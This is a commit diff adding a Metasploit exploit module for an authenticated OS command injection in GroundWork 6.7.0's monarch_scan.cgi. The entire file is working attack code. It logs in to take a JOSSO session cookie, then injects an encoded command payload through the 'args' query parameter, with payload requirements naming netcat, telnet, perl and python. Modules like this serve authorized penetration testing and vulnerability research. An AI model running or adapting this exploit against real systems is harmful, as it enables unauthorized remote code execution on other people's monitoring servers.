Add module for US-CERT-VU 345260

Author: jvazquez-r7

modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb

@@ -0,0 +1,129 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "GroundWork monarch_scan.cgi OS Command Injection",
+			'Description'    => %q{
+					This module exploits a vulnerability found in GroundWork 6.7.0. This software
+				is used for network, application and cloud monitoring. The vulnerability exists in
+				the monarch_scan.cgi, where user controlled input is used in the perl qx function,
+				which allows any remote authenticated attacker, whatever his privileges are, to
+				inject system commands and gain arbitrary code execution. The module has been tested
+				successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
+				based VM appliance.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Johannes Greil', # Vulnerability Discovery, PoC
+					'juan vazquez'  # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'OSVDB', '91051' ],
+					[ 'US-CERT-VU', '345260' ],
+					[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
+				],
+			'Arch'            => ARCH_CMD,
+			'Payload'        =>
+				{
+					'Space'       => 8190,
+					'DisableNops' => true,
+					'Compat'          =>
+						{
+							'PayloadType' => 'cmd'
+						},
+					# Based on the default Ubuntu 10.04 VM appliance
+					'RequiredCmd' => 'generic telnet netcat perl python'
+				},
+			'Platform'       => ['unix', 'linux'],
+			'Targets'        =>
+				[
+					['GroundWork 6.7.0', {}]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Mar 8 2013",
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('USERNAME',  [true, 'GroundWork Username', 'user']),
+					OptString.new('PASSWORD',  [true, 'GroundWork Password', 'user'])
+				], self.class)
+	end
+
+	def check
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => normalize_uri("josso", "signon", "login.do")
+		})
+
+		if res and res.body =~ /GroundWork.*6\.7\.0/
+			return Exploit::CheckCode::Appears
+		elsif res and res.body =~ /GroundWork/
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def get_josso_token
+		res = send_request_cgi({
+			'method'    => 'POST',
+			'uri'       => normalize_uri("josso", "signon", "usernamePasswordLogin.do"),
+			'vars_post' => {
+				'josso_cmd'      => 'login',
+				'josso_username' => datastore['USERNAME'],
+				'josso_password' => datastore['PASSWORD']
+			}
+		})
+		if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
+			return $1
+		else
+			return nil
+		end
+	end
+
+	def execute_command(command)
+		http_handler = ((datastore['SSL']) ? "https" : "http")
+		res = send_request_cgi({
+			'method'    => 'GET',
+			'uri'       => normalize_uri("monarch", "monarch_scan.cgi"),
+			'headers'   =>
+				{
+					'Referer' => "#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc"
+				},
+			'cookie'    => "JOSSO_SESSIONID=#{@josso_id}",
+			'query'     => "args=#{rand_text_alpha(3)}&args=#{rand_text_alpha(3)}&args=#{Rex::Text.uri_encode(command + ";")}"
+		})
+		return res
+	end
+
+	def exploit
+		peer = "#{rhost}:#{rport}"
+
+		print_status("#{peer} - Attempting to login...")
+		@josso_id = get_josso_token
+		if @josso_id.nil?
+			fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID")
+		end
+		print_good("#{peer} - Authentication successful")
+
+		print_status("#{peer} - Sending malicious request...")
+		execute_command(payload.encoded)
+	end
+end